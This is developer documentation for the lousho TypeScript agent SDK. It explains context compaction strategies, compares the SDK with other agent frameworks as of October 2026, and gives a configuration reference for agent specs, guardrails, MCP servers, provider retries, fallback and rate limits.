`result.usage` (under the summarizer's model in `byModel`, and in
`modelCalls`), it gets a `chat` span with `lousho.call.purpose: 'compaction'`
under the run's span, and it counts toward the run's `limits` budgets.
(`session.compact()` and `compactMessages()` run outside a run, so their
summary calls are not counted anywhere.)

The hook rewrites the run's transcript itself, not a copy: the request's
`messages` array is the run's message list, and the hook changes it in place.
A pruned result or a summary therefore stays in later steps, in checkpoints
(a resumed session does not bring the full history back) and in
`result.messages`, and it is not compacted again on the next step.
Compaction is lossy: if the model needs a pruned result again, it has to call
the tool again.

### Local and unknown models

The threshold is a share of the model's context window, so compaction needs
the real window. For a model the [model registry](/models-and-cost#models-and-the-price-table)
does not know (most local models), the hook assumes `128_000` tokens and logs a
one-time `console.warn` naming the model. A local server usually runs with a
much smaller window, and then compaction never fires before the server rejects
the request. Set the window you loaded the model with: in LM Studio it is the
model's loaded context length (`loaded_context_length` from
`GET /api/v0/models/<id>`), in Ollama the `num_ctx` option (`ollama show <model>`
prints the model's default).

```ts theme={null}
import { createAgent, registerModel } from '@lousho/build-ai-agent';

// Either on the agent...
const agent = createAgent({
  model: 'ollama/qwen3:8b',
  compaction: { contextWindow: 8_192, reserveOutputTokens: 1_024 },
});

// ...or once for every feature that reads the window (compaction, tool search).
registerModel({ id: 'qwen3:8b', provider: 'ollama', contextWindow: 8_192 });
```

On a small window the default `protectedTokens` (40,000) is capped at half the
threshold, so the newest \~3,700 tokens of an 8K window stay intact and older
tool results can still be pruned. Set `protectedTokens` yourself to protect
more or less; keep it below the threshold.

[Tool search](/tool-search) reads the window the same way and warns the same
way; its own setting is `toolSearch.contextWindow`.

#### Advanced: the executor API

Registering the hook in a `HookRegistry` is for code that calls the executor
directly (see [the executor API](/executor-api)):

```ts theme={null}
import { AgentExecutor } from '@lousho/build-ai-agent/executor';
import { HookRegistry, createCompactionHook, twoPhaseStrategy } from '@lousho/build-ai-agent';

const hooks = new HookRegistry();
hooks.register(
  createCompactionHook({
    strategy: twoPhaseStrategy({ model: 'openai/gpt-4o-mini' }),
    thresholdPercent: 0.9,
    protectedTokens: 40_000,
  })
);

const result = await AgentExecutor.execute({ agent, input, provider, toolRegistry, hooks });
```

## Strategies

| Strategy | What it does |
| - | - |
| `pruneToolResultsStrategy()` | Replaces old tool results with a marker. No model call. |
| `summarizeStrategy({ model, ... })` | Replaces old turns with one summary message written by `model`. |
| `twoPhaseStrategy({ model, ... })` | Prunes first; summarizes only if the conversation is still above the threshold. Recommended. |

### Pruning tool results

`pruneToolResultsStrategy()` replaces the `content` of each tool result older
than the protected tail with a short stub that names the call, such as
`[pruned: search({"query":"deploy"}) result, 18234 chars; already read]`
(arguments longer than 120 characters are cut), so the model knows what it
already fetched and does not call the same tool again just to see the result.
Markers in the older `[pruned: search result, 18234 chars]` form are
recognized and left alone. It never changes:

* system messages, user messages (the first one included) or assistant turns,
  so every tool call keeps its result message and the transcript stays valid
  for every provider;
* the results of the latest assistant turn, which the model has not read yet,
  even when they are bigger than `protectedTokens`;
* pinned results, results that are already a marker, or results shorter than
  a marker.

### Summarizing old turns

`summarizeStrategy()` sends the messages before the protected tail to the
summarizer with a focused instruction and replaces them with one `user`
message:

```text theme={null}
[Conversation summary]
<the summary>
```

| Option | Default | Meaning |
| - | - | - |
| `model` | required | The summarizer: an `LLMProvider`, or a `"provider/model"` spec resolved with `resolveProvider()`. A small, cheap model is usually enough. |
| `protectedTokens` | the hook's | Recent tokens kept as they are. |
| `prompt` | `DEFAULT_SUMMARY_PROMPT` | The instruction sent as the summarizer's system message. The conversation to summarize is the user message. |
| `maxSummaryTokens` | provider default | `maxTokens` of the summary call. |

The summary keeps the transcript valid for every provider:

* system messages and pinned messages stay where they are, and the summary
  goes where the first summarized message was;
* an assistant turn is summarized or kept together with all its tool results,
  so no tool call loses its result (and no result loses its call);
* the last message and the latest assistant turn's results are always kept.

If the summary call fails (or returns nothing), the strategy falls back to
pruning and returns the failure as `error`.

### Two phases

`twoPhaseStrategy()` takes the same options. It prunes tool results first,
which is free, and calls the summarizer only when the pruned conversation is
still above `thresholdPercent` of the context window. The summarizer then
reads the pruned conversation. If it fails, the pruned conversation is kept and
`error` is reported.

## Pinning messages

`pinMessage(message)` returns a copy of the message marked as pinned (it sets
`metadata.pinned: true`; `Message.metadata` is application data that is never
sent to the model). The built-in strategies never prune or summarize a pinned
message; a pinned tool result keeps its whole assistant turn. Pin what the
agent must always see in full, such as the task statement or a key document:

```ts theme={null}
import { pinMessage, isPinned, type Message } from '@lousho/build-ai-agent';

const messages: Message[] = [
  { role: 'system', content: 'You are a research assistant.' },
  pinMessage({ role: 'user', content: 'Goal: compare the three vendors on price and support.' }),
];
console.log(isPinned(messages[1])); // true
```

Custom strategies should honor `isPinned()` too.

## Compacting by hand

`compactMessages(messages, options)` runs a strategy once, whatever the size
of the conversation, and resolves to a new array (its input is not modified).
Use it to shrink a stored transcript before you continue it:

```ts theme={null}
import { compactMessages, summarizeStrategy, type Message } from '@lousho/build-ai-agent';

declare const history: Message[];

const { messages, tokensBefore, tokensAfter, prunedToolCallIds } = await compactMessages(history, {
  protectedTokens: 8_000,
  model: 'gpt-4o-mini', // for the context-window lookup and the token estimator
});
console.log(`${tokensBefore} -> ${tokensAfter} tokens, pruned ${prunedToolCallIds.length} results`);

const summarized = await compactMessages(history, {
  protectedTokens: 8_000,
  strategy: summarizeStrategy({ model: 'openai/gpt-4o-mini' }),
});
console.log(summarized.summary ?? summarized.error?.message);
```

## Compacting a session

`session.compact(options?)` compacts a [session](/sessions)'s transcript
now, whatever its size, saves it to the session's store (memory, file, SQLite
or KV) and resolves to `{ messagesBefore, messagesAfter, tokensBefore, tokensAfter, strategy, error? }`.
It runs `options.strategy`, else the strategy of `agent.session({ compaction })`
(the same value as `createAgent({ compaction })`, and the agent's own
`compaction` when the session does not set one), else prunes old tool results.
Pinned messages stay. A session with no messages resolves without doing
anything. It rejects with `LOUSHO_SESSION_BUSY` while a turn is running, and
with `LOUSHO_SESSION_TURN_PENDING` / `LOUSHO_SESSION_AWAITING_APPROVAL` while a
durable turn is unfinished. Listeners added with `session.on()` get
`compaction.start` and `compaction.done` with `trigger: 'manual'`.
`session.clear()` empties the transcript instead, deletes every turn's
checkpoint and checkpoint history, and emits `context.cleared`.

```ts theme={null}
import { createAgent, twoPhaseStrategy } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const agent = createAgent({ provider: mockModel(['ok']) });
const session = agent.session({ compaction: { strategy: twoPhaseStrategy({ model: 'openai/gpt-4o-mini' }) } });
session.on((event) => {
  if (event.type === 'compaction.done') console.log(event.trigger, event.tokensBefore, '->', event.tokensAfter);
});
await session.send('hello');
const { tokensBefore, tokensAfter } = await session.compact({ protectedTokens: 2_000 });
console.log(`${tokensBefore} -> ${tokensAfter} tokens`);
await session.clear();
console.log(session.messages.length); // 0
```

## Writing a strategy

A strategy is a name and a `compact()` function, which may be async. It
receives the messages, a token counter for the request's model, the context
window, `protectedTokens`, `thresholdTokens` (the size to get under) and the
run's abort `signal`, and returns the new messages with before/after token
counts (and optionally a `summary` or an `error`). Return the input array
unchanged when there is nothing to do: the hook then leaves the run alone and
does not call `onCompaction`.

```ts theme={null}
import { createCompactionHook, isPinned, type CompactionStrategy } from '@lousho/build-ai-agent';

// Keep the system prompt, pinned messages and the last 20 messages.
const keepRecent: CompactionStrategy = {
  name: 'keep-recent',
  compact({ messages, estimateTokens }) {
    const tokensBefore = estimateTokens(messages);
    if (messages.length <= 22) return { messages, tokensBefore, tokensAfter: tokensBefore, prunedToolCallIds: [] };
    // A real strategy must not split a tool call from its result.
    const older = messages.slice(0, -20).filter((m) => m.role === 'system' || isPinned(m));
    const kept = [...older, ...messages.slice(-20)];
    return { messages: kept, tokensBefore, tokensAfter: estimateTokens(kept), prunedToolCallIds: [] };
  },
};

const hook = createCompactionHook({ strategy: keepRecent });
```

A custom strategy gets the same `compaction.start` / `compaction.done` events as
the built-in ones. `onCompaction` (on `createCompactionHook()`) still receives
the summary text and the `Error`.


# Comparison with other agent frameworks
Source: https://lousho.com/comparison



**As of October 2026.** This page is a short orientation, not a benchmark.
The TypeScript agent space moves fast: most of the projects below now ship
durable approvals, evals and coding-agent harnesses of their own, so check
their documentation before deciding. Rows about lousho describe this
repository and link to the page that documents each claim.

## Each project in one row

| Project | What it is | Approvals / human-in-the-loop | Evals | Coding agents | Where it is ahead of lousho |
| - | - | - | - | - | - |
| lousho (`@lousho/build-ai-agent`) | Self-hosted TypeScript agent SDK, one npm package, alpha | `needsApproval` + `resumeAfterApproval()` on memory, file, SQLite or Cloudflare KV stores ([Approvals](/approvals)) | `lousho eval`: trajectory assertions, record/replay cassettes, drift reports ([Evals](/evals)) | Workspace tools, permission rules, `piAgent()`, registry kits, ACP editor server ([Build a coding agent](/build-a-coding-agent)) | - |
| [Vercel AI SDK 7](https://ai-sdk.dev) | Model, agent and UI toolkit for TypeScript | `WorkflowAgent` tools take `needsApproval`; runs are durable through the open-source Workflow DevKit | Not built in | `HarnessAgent` (experimental) wraps existing runtimes such as Claude Code behind one API | By far the most providers and UI integrations; lousho uses it underneath for the standard providers |
| [Mastra](https://mastra.ai) | Full-stack TypeScript framework: agents, workflows, memory, RAG, dev UI | Workflow `suspend()` / `resume()` with persisted snapshots | Scorers, datasets and experiments, with results stored | Build it from agents, tools and workflows | Postgres and many other storage adapters, a local dev playground, a larger community |
| [LangGraph.js](https://langchain-ai.github.io/langgraphjs/) | Graph-shaped, stateful workflows with checkpointing | `interrupt()` + `Command({ resume })` on any checkpointer | Through LangSmith (hosted) | Build it as a graph | Postgres checkpointer, explicit control flow, LangSmith tracing and evals |
| [OpenAI Agents SDK (JS)](https://openai.github.io/openai-agents-js/) | Agents around OpenAI's APIs: handoffs, guardrails, tracing | Tool approvals with run-state resume | Through OpenAI's platform | Sandbox agents (beta) that read files, run commands and apply patches | First-class OpenAI hosted tools and sandboxes, OpenAI tracing dashboard |
| [Claude Agent SDK](https://code.claude.com/docs/en/agent-sdk/overview) | The Claude Code agent loop as a library | `canUseTool` callback, hooks, permission modes and rules | Not built in | It *is* a coding agent: file, shell and edit tools, sessions, subagents | A production coding harness out of the box; Claude models |
| [eve](https://github.com/vercel/eve) | Vercel's filesystem-first agent framework (Apache-2.0, beta) | Human-in-the-loop prompts on durable runs | `eve eval` with `defineEval`, asserting on tool calls | Sandboxes, channels (Slack, Discord, HTTP), schedules | Deploy and operations on Vercel, AI Gateway models, channels. Its `agent/` directory layout (`instructions.md`, `tools/`, `skills/`) mirrors lousho's [agent directories](/agent-directories) |
| [VoltAgent](https://voltagent.dev) | TypeScript framework: agents, memory, workflows | Workflow suspend/resume | Built-in evals | Build it from agents and tools | VoltOps observability console and dashboards |
| [open-harness](https://github.com/MaxGfeller/open-harness) | MIT TypeScript SDK on the AI SDK, modelled on Claude Code and Codex | Tool permissions | Not built in | Filesystem and bash tools, subagents, skills, MCP, compaction | Small, composable harness core focused on coding agents |

## What lousho still does differently

Each item is checkable in this repository.

* **Record/replay cassettes and trajectory drift in one CLI.** `lousho eval --record`
  runs every case against the real provider once and writes a cassette,
  `--replay` runs them in CI with no network and no API key, and `--drift`
  re-records into a temp directory and reports how each case's tool-call
  trajectory changed ([Evals](/evals#record-replay-and-drift),
  [Testing](/testing#record-and-replay)).
* **Durable approvals on Cloudflare Workers KV** as well as memory, file and
  SQLite, with the same `needsApproval` / `resumeAfterApproval()` code on each
  ([Durable execution](/durable-execution), [Cloudflare Workers](/cloudflare-workers)).
* **Self-hosted, one package, no platform account.** Runs in your Node process,
  Docker or a Worker; nothing calls home and there is no hosted control plane to sign up for.
* **Spans AI SDK majors.** The `ai` peer dependency accepts `^4.3.19`, `^6` and
  `^7`, so an existing app can adopt lousho without first upgrading the AI SDK
  ([Installation](/installation)).

## Where lousho is weaker

* **Alpha, one maintainer.** The 1.0 line is still `1.0.0-alpha.*`. Expect API churn, a small community and few third-party integrations.
* **No Postgres store.** Checkpoint and approval stores ship for memory, file, SQLite and Cloudflare KV. Mastra and LangGraph ship Postgres; here you implement the small `CheckpointStore` / `ApprovalStore` interfaces yourself.
* **Fewer native providers.** OpenAI, Anthropic, OpenRouter, Ollama and the Pi catalog are built in; anything else goes through `fromAiSdk()` ([Providers](/providers)).
* **No hosted dashboard.** Traces are OpenTelemetry spans you send to your own backend ([Observability](/observability)); there is no hosted equivalent of LangSmith or VoltOps. Agent Forge (`lousho studio`) is a local visual console, not a hosted service ([Agent Forge](/agent-forge)).
* **The root entry point is not edge-safe.** Cloudflare Workers use the dedicated `worker` build and subpaths ([Cloudflare Workers](/cloudflare-workers)).
* **Live runs are manual.** CI runs offline tests and cassette replays; live-provider checks are run by hand.

## Picking one

If you only need model calls with streaming UI, the Vercel AI SDK alone is the
simpler choice. If you want a ready-made coding agent, start from the Claude
Agent SDK or an AI SDK harness. If you want an all-in-one framework with a dev
UI and Postgres, look at Mastra; if your control flow is a graph, LangGraph.js;
if you deploy on Vercel, eve. Pick lousho when you want offline
record/replay evals, approvals that survive a restart on your own stores
(including Workers KV), and one self-hosted package with no platform account.


# Configuration
Source: https://lousho.com/configuration



## Agent spec files (`AgentSpec`)

A declarative agent is a YAML (`.yaml`/`.yml`) or JSON (`.json`) file,
validated with zod by `loadSpec()` (`src/spec/schema.ts`). It is the format
`lousho dev` serves and `lousho build` deploys.

> Snippets on this page leave some names to you: `provider` is any `LLMProvider` (offline: `createMockProvider()`).

| Field | Type | Required | Description |
| - | - | - | - |
| `name` | `string` | yes | Agent name. |
| `prompt` | `string` | yes | System prompt. |
| `provider.type` | `string` | yes | `openai`, `anthropic`, `ollama`, `openrouter` or `mock`. |
| `provider.model` | `string` | yes | Model id every call uses (the provider's configured model; an agent's own `settings.model` would override it). |
| `tools` | `string[]` | no | Built-in tool names (see below). |
| `policy` | `AgentSpecPolicy` | no | Approvals, guardrails, limits and more, enforced when the spec becomes an agent (see below). |
| `triggers` | `AgentSpecTrigger[]` | no | What runs the agent on its own — cron schedules (`{ type: 'cron', cron, input, name?, timezone? }`); see [Schedules](/schedules) and [Triggers](/triggers#cron-expressions). |
| `mcpServers` | `Record<string, McpServerSpec>` | no | MCP servers the agent uses, keyed by name (see below). |

A missing or invalid field fails with an error naming the exact field, e.g.
`'prompt': Required`.

```yaml theme={null}
name: support-bot
prompt: You are a friendly support agent.
provider:
  type: openai
  model: gpt-4o-mini
tools:
  - current-date
  - http
```

### Tools a spec can reference

| Name | Tool |
| - | - |
| `http` | `httpTool` - HTTP requests |
| `web-fetch` | `webFetchTool` - read a public web page as text |
| `current-date` | `currentDateTool` - current date/time (ISO, UTC) |
| `day-name` | `dayNameTool` - day of the week |

`github` and `jira` need credentials a spec has no field for; referencing
them throws an error telling you to build the agent with `createAgent()` and
pass a configured tool instead.

### Policy (`policy`)

`specToAgent()` compiles `policy` into `createAgent()` options, so a spec
enforces what it declares. The known fields are validated by `loadSpec()`;
other keys are kept for the other harness generators (Claude Code, Codex, Pi),
which read the raw policy.

| Field | Compiles to | Description |
| - | - | - |
| `requiresApproval` | `permissions` ([`ask`](/guardrails)) | `true`: every tool call pauses for approval. A list: only those tools pause. |
| `guardrails` | `guardrails` (input and output) | Built-in guardrail names, or `{ name, ...options }` (table below). |
| `limits` | `limits` ([budgets](#budgets)) | `maxTokens`, `maxInputTokens`, `maxOutputTokens`, `maxCostUsd`, `maxDurationMs`, `maxSteps`, `maxToolErrors`, `onExceeded`. |
| `askQuestion` | `askQuestion` | `true` adds the built-in `ask_question` tool. |
| `compaction` | `compaction` | `true`, or `{ thresholdPercent: 0.8 }` (a fraction of the context window, above 0 up to 1). |

```yaml theme={null}
name: support-bot
prompt: You are a friendly support agent.
provider:
  type: openai
  model: gpt-4o-mini
tools:
  - http
policy:
  requiresApproval: [http]        # or `true` for every tool
  guardrails:
    - secret-scan
    - name: max-length
      maxChars: 4000
      on: input
    - name: deny-topics
      topics: [medical advice, legal advice]
  limits:
    maxTokens: 50000
    maxCostUsd: 0.25
    maxSteps: 10
  askQuestion: true
  compaction:
    thresholdPercent: 0.8
```

Guardrail names (see [Input and output guardrails](/guardrails#input-and-output-guardrails)):

| Name | Options | Does |
| - | - | - |
| `max-length` | `maxChars` (default 10000) | Blocks texts longer than `maxChars`. |
| `secret-scan` | `action` (`block` or `rewrite`), `replacement` | Blocks (or redacts) private keys, OpenAI-style and AWS keys. |
| `regex` | `pattern` (required), `flags`, `action`, `replacement` | Blocks (or rewrites) texts matching `pattern`. |
| `deny-topics` | `topics` (required, a list) | Blocks texts that mention a topic (case-insensitive). |
| `llm-judge` | `model` (required, `"provider/model"`), `instruction` | Asks a model whether the text is acceptable; one call per check. |
| `pii` | `types` (a list of `email`, `phone`, `credit-card`, `iban`, `us-ssn`, `ip-address`; default all), `action` (default `block`) | Blocks (or rewrites to `[email]`, ...) personal data found by pattern. Heuristic. |
| `secrets` | `action` (default `rewrite`), `extraPatterns` (a list of regular expressions) | Rewrites (or blocks) API keys, tokens and private keys found by pattern. Heuristic. |
| `prompt-injection` | `model` (optional, `"provider/model"`) | Blocks common prompt-injection phrasing and markers; with `model`, also asks the model. Heuristic. |
| `moderation` | `model` (required, `"provider/model"`), `categories` (default all) | Asks a model which harmful-content categories apply; one call per check. |

Every guardrail also takes `on`: `input`, `output` or `tools` (a tool call's
arguments), or a list of them. The default is `[input, output]`. An unknown name
or option fails validation, naming the guardrails available and a "did you
mean" suggestion:
`'policy.guardrails.0': unknown guardrail 'deny-topic' (did you mean 'deny-topics'?)`.

`requiresApproval` pauses the run (`finishReason: 'awaiting-approval'`) until
`agent.approvals.resolve()`; before this, a spec that set it ran its tools
without asking. `lousho doctor agent.yaml` prints one line per policy block.

### MCP servers (`mcpServers`)

`mcpServers` declares the MCP servers an agent uses, as a map from a server
name (it namespaces that server's tools) to either a stdio server (`command`,
optional `args` and `env`) or an HTTP server (`url`, optional `headers`).
Each entry sets exactly one of `command` / `url`; `args`/`env` apply only to
stdio and `headers` only to HTTP. The field is validated by `loadSpec()`, and
an invalid entry fails with the entry name in the message, e.g.
`'mcpServers.files': missing 'command' (stdio server) or 'url' (HTTP server)`.
An optional `approval` (`always`, the default, `annotations` or `never`) says which of the server's tools ask for approval; see [Approval for MCP tools](/mcp-integration#approval-for-mcp-tools).
An optional `deferLoading: true` withholds the server's tools from the model until it finds them with `tool_search`; see [Tool search](/tool-search).
An optional `optional: true` leaves out a server that cannot connect (with a warning) instead of failing every send; see [Use MCP servers in an agent](/mcp-integration#use-mcp-servers-in-an-agent).
An HTTP entry may set `oauth` (`redirectUri`, optional `clientId`, `clientSecret`, `scopes` and `clientName`) to sign in to the server with OAuth instead of a static `Authorization` header; see [MCP servers with OAuth](/oauth#mcp-servers-with-oauth).
`lousho doctor` checks each stdio `command` is resolvable.

```yaml theme={null}
mcpServers:
  filesystem:
    command: npx
    args: [-y, '@modelcontextprotocol/server-filesystem', ./data]
    env:
      LOG_LEVEL: warn
  docs:
    url: https://example.com/mcp
    headers:
      Authorization: Bearer <token>
```

```ts theme={null}
import { agentSpecSchema, specToAgent, type McpServerSpec } from '@lousho/build-ai-agent';

const filesystem: McpServerSpec = { command: 'npx', args: ['-y', '@modelcontextprotocol/server-filesystem'] };
const spec = agentSpecSchema.parse({
  name: 'support-bot',
  prompt: 'You are a friendly support agent.',
  provider: { type: 'mock', model: 'mock-1' },
  mcpServers: { filesystem, docs: { url: 'https://example.com/mcp' } },
});

// The servers connect on agent.ready() or the first send() / stream().
const agent = specToAgent(spec);
console.log(Object.keys(agent.mcpServers)); // ['filesystem', 'docs']
```

`specToAgent()` passes the servers to `createAgent({ mcpServers })`, described
in [MCP](/mcp-integration#use-mcp-servers-in-an-agent), so `lousho dev` and `lousho mcp` agents get their tools.

MCP clients, `connectMcp()`, tool approval and serving an agent over MCP are on their own page: [MCP (Model Context Protocol)](/mcp-integration).

## Provider credentials

Real providers are resolved by `resolveProvider('<provider>/<model>')`
(also used for spec files), which reads the credential from the environment:

| Provider | Environment variable |
| - | - |
| `openai` | `OPENAI_API_KEY` |
| `anthropic` | `ANTHROPIC_API_KEY` |
| `openrouter` | `OPENROUTER_API_KEY` |
| `ollama` | `OLLAMA_BASE_URL` |
| `pi` | the nested provider's own variable (`pi/openrouter/...` reads `OPENROUTER_API_KEY`) |

The `mock` provider needs no credentials and returns canned responses; it is
what the examples and the Quick Start use by default.

## Provider retries and fallback

`createAgent()` retries failed model calls on its own, and can fall back to
other models. The `vendor/` model prefix chooses the provider; with OpenRouter
use `openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  retry: { maxRetries: 3, backoff: { initialMs: 1000 } }, // default { maxRetries: 2 }; false turns it off
  fallbackModels: ['anthropic/claude-haiku-4-5'], // tried in order once the retries are used up
});

for await (const event of agent.stream('Hello!')) {
  if (event.type === 'provider.retry') console.warn(`retry ${event.attempt} in ${event.delayMs}ms: ${event.error.message}`);
  if (event.type === 'provider.fallback') console.warn(`falling back from ${event.from} to ${event.to}`);
}
```

* `retry` takes the `withRetry()` options below. It applies to the `model`
  string (or the model picked from the environment) and to every
  `fallbackModels` entry. createAgent builds those providers with the `ai`
  SDK's own retries off (`maxRetries: 0`), so retries happen in one place and
  the default `{ maxRetries: 2 }` makes as many calls as before.
* A built-in provider instance (`OpenAIProvider`, `AnthropicProvider`,
  `OpenRouterProvider`, `OllamaProvider`) or a `fromAiSdk()` provider is
  wrapped in `withRetry()` too, even without `retry`: then with the provider's
  own `maxRetries` (default 2), so its retries emit `provider.retry` events like
  a model string's. Its calls go out with the `ai` SDK's own retries off, so
  `{ maxRetries: 2 }` makes at most 3 requests, and `retry: false` sends each
  call once. Any other `provider` instance (your own `LLMProvider`) is wrapped
  only when you set `retry`. `fallbackModels` work with all of them.
* `fallbackModels` are `provider/model` strings, resolved like `model` when the
  agent is created. The agent runs `withFallback([withRetry(primary), withRetry(fallback1), ...])`:
  every call starts with the primary model.
* `stream()` and `session.stream()` report each retry as a `provider.retry`
  event and each switch as `provider.fallback`; its `from` and `to` are provider
  names (such as `openai`) and `fromModel` / `toModel` the model ids (see
  [Streaming](/stream-events#event-schema-version-1)). `send()` returns the
  final result as before.

To build the same thing by hand, or for providers you construct yourself,
`withRetry(provider, options)` and `withFallback(providers, options)` wrap any
`LLMProvider` and return another one, so they compose and can be passed
anywhere a provider is accepted:

```ts theme={null}
import { createAgent, resolveProvider, withFallback, withRetry } from '@lousho/build-ai-agent';

const provider = withFallback(
  [
    withRetry(resolveProvider('openai/gpt-4o-mini'), {
      maxRetries: 3,
      backoff: { initialMs: 500, maxMs: 10_000 },
      onRetry: ({ attempt, delayMs }) => console.warn(`retry ${attempt} in ${delayMs}ms`),
    }),
    withRetry(resolveProvider('anthropic/claude-haiku-4-5')),
  ],
  { onFallback: ({ from, to }) => console.warn(`falling back from ${from} to ${to}`) }
);

const agent = createAgent({ instructions: 'You are helpful.', provider });
```

* `withRetry` retries `generate()` and `stream()` (default `maxRetries: 2`)
  on rate limits, timeouts, network errors (including a dropped socket), malformed or truncated responses and 5xx responses, using the same
  classification as `compactProviderError()`. Auth failures, invalid requests
  and context-length errors are not retried; neither is a cancellation. A
  provider's `retryAfterMs` hint (`retry-after-ms` or `Retry-After`, on a 429 or
  a 503) replaces the backoff delay, unless it is longer than `backoff.maxMs`
  (default 30 s): then the call fails at once with a
  `CompactedLLMProviderError` whose `compacted.retryAfterMs` holds the hint, so
  your code decides whether to wait. Pass `retryOn(error, attempt)` to change the rule, `timeoutMs` for a
  per-attempt time limit, and `signal` to stop retrying. For `stream()`,
  `timeoutMs` only bounds the wait for the first chunk: a stream that has
  started is never cut off by it. `idleTimeoutMs` (stream only) fails a stream
  that goes quiet for longer than that between chunks, with a `TimeoutError`
  (retried only while no text or tool call was out).
* A `stream()` call is retried when it rejects, and when its stream fails
  before any output: reasoning chunks and empty text deltas don't count, so a
  local runtime that sends an empty `reasoning-end` and then a 500 (LM Studio)
  is retried. A failure after text, a tool call or the finish is not retried.
  An agent streams its model calls whenever it has an event listener, so this
  is what keeps `agent.stream()` as resilient as `send()`.
* Reasoning streamed before such a failure was already reported. In an agent
  run the failed attempt's reasoning ends with its `reasoning.done`, then
  comes the `provider.retry` event, then the retried attempt's reasoning
  starts again with `reasoning.start`. The step's (and the run's) `reasoning`
  is the successful attempt's only.
* `withFallback` tries each provider in order and rethrows the last error
  when all fail. By default it falls back on any error except a cancellation
  (`fallbackOn` changes that). Each fallback runs on its own `defaultModel`.
  Every call keeps its own fallback state, so concurrent calls never see each
  other's switches. `name` and `defaultModel` are the first provider's; the
  result of a call (and a stream) names the provider and model that served it
  as `servedBy`, and the run books that call's usage and cost under that
  model in `usage.byModel`.
* `resilientProvider(provider, { maxRetries, timeout })` applies the
  `LLMProviderConfig` fields of the same names.
* `withRetry` is the only retry layer: the built-in providers send its calls
  with the `ai` SDK's own retries off, whatever their config's `maxRetries`.
  That `maxRetries` (default 2) is the `ai` SDK's retry count for a provider
  used unwrapped (called directly), and the `withRetry()` count `createAgent()`
  uses for that provider when `retry` is unset.
* A rate-limited call (a 429) fails, once the retries are used up, with
  `LOUSHO_PROVIDER_RATE_LIMITED`; other failed calls with
  `LOUSHO_PROVIDER_REQUEST_FAILED` (see [Errors](/errors)).
* Each retry is recorded on the call's `chat` span as `lousho.retry.count` and
  `lousho.retry.errors` (see [Observability](/observability)).

## Rate limits

`withRateLimit(provider, limits)` queues a provider's `generate()` and
`stream()` calls so they stay under client-side limits, so sub-agent fan-out,
flow waves and eval suites cannot burst unbounded model calls. Every limit is
optional:

```ts theme={null}
import { withRateLimit, resolveProvider } from '@lousho/build-ai-agent';

const provider = withRateLimit(resolveProvider('openai/gpt-4o-mini'), {
  requestsPerMinute: 60, // calls started per rolling minute
  tokensPerMinute: 200_000, // estimated tokens per rolling minute
  maxConcurrent: 4, // calls in flight at once
});
```

* Calls are admitted first in, first out. A call waiting for its turn rejects
  with its `signal`'s reason as soon as it is aborted, and never starts.
* `tokensPerMinute` books each call at `estimateTokens()` of its messages and
  tool definitions plus its `maxTokens`, then re-books it at the usage the
  provider reports. A single call larger than the limit still runs, alone in
  its window.
* A `stream()` holds its `maxConcurrent` slot until the stream ends.
* Invalid limits (not a positive number, or `maxConcurrent` not a whole
  number) throw `LOUSHO_CONFIG_INVALID`.
* Wrap outside `withRetry()` to count a call and its retries as one, or inside
  to count each attempt.
* Pass a `createRateLimiter(limits)` instead of the limits to share one budget
  between several providers.

`createAgent({ rateLimit })` takes the same limits (or a limiter). One budget
covers every model call of the agent's runs, including the sub-agents and
handoff targets a run starts (a sub-agent inherits the lead run's budget, so
its own provider is queued too). Give several agents the same
`createRateLimiter()` to share it across them.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const researcher = createAgent({ model: 'openai/gpt-4o-mini', instructions: 'You research.', description: 'Finds sources' });
createAgent({ model: 'openai/gpt-4o-mini', subagents: { researcher }, rateLimit: { maxConcurrent: 2 } });
```

## `createAgent()` options

| Option | Description |
| - | - |
| `model` | A `'provider/model'` string such as `'openai/gpt-4o-mini'`, resolved with `resolveProvider()` (key from the env var above). Alternative to `provider`. |
| `provider` | An `LLMProvider` instance (real or mock). Alternative to `model`. If you pass both, `provider` is used and `model` becomes the agent's per-run model setting (a bare model id such as `'gpt-4o'`). |
| `instructions` | System prompt. Optional (defaults to `'You are a helpful assistant.'`). |
| `prompt` | Deprecated alias of `instructions`; passing both is an error. |
| `tools` | An array of `defineTool()` results, or a `Record<string, ToolDescriptor>` keyed by the name the agent uses (see [Tools](/tools)). |
| `name` | Agent name (default `'agent'`). |
| `description` | What the agent does, in a sentence. Required when it is used as a sub-agent. |
| `maxSteps` | Passed through to `AgentExecutor.execute()`. A whole number >= 1; anything else throws `LOUSHO_CONFIG_INVALID`. |
| `modelSettings` | Sampling settings sent on every model call: `{ maxTokens?, temperature?, topP?, frequencyPenalty?, presencePenalty?, stop?, seed?, toolChoice? }`. A `send()` / `stream()` call's own `modelSettings` win key by key. See [Model settings](#model-settings). |
| `limits` | Budgets of each run: `{ maxTokens?, maxInputTokens?, maxOutputTokens?, maxCostUsd?, maxDurationMs?, maxSteps?, maxToolErrors?, onExceeded? }`. A tripped limit ends the run with `finishReason: 'budget-exceeded'`. See [Budgets](#budgets). |
| `toolConcurrency` | How many tool calls of one model turn run at once: a positive integer or `'unbounded'` (default). See [Parallel tool calls](/runs#parallel-tool-calls). |
| `skills` | Skills from `defineSkill()` / `loadSkills()`; see [Skills](/skills). |
| `subagents`, `maxSubagentDepth` | Named sub-agents behind one `task` tool, and how deep they may nest (default 1); see [Sub-agents](/sub-agents). |
| `handoffs`, `maxHandoffs` | Agents this agent can hand the whole conversation to, one `transfer_to_<name>` tool each, and how many handoffs one run may make (default 5); see [Handoffs](/handoffs). |
| `toolSearch` | Tunes [tool search](/tool-search) for tools marked `deferLoading`: `{ thresholdPercent?, maxResults?, contextWindow?, search? }`, or `false` to send every tool on every call. |
| `store` | An `AgentStore` (`SqliteStore`, `memoryStore()`, or `{ sessions?, checkpoints?, approvals? }`): the default stores of `agent.session()`, approvals, and `send(message, { sessionId })` runs; `agent.resume(id)` finishes an interrupted one. See [Durable sessions](/sessions#durable-sessions). |
| `memory` | Memory slots from `defineMemory()`: recalled into the system prompt at the start of each run, with `remember_<name>` / `recall_<name>` tools. See [Memory](/memory). |
| `approvalStore` | Where a `needsApproval` pause is saved (default: `store.approvals`, else a per-agent `InMemoryApprovalStore`); see [Approvals](/approvals). |
| `approve` | `(call) => boolean`: decide approvals in code instead of pausing. |
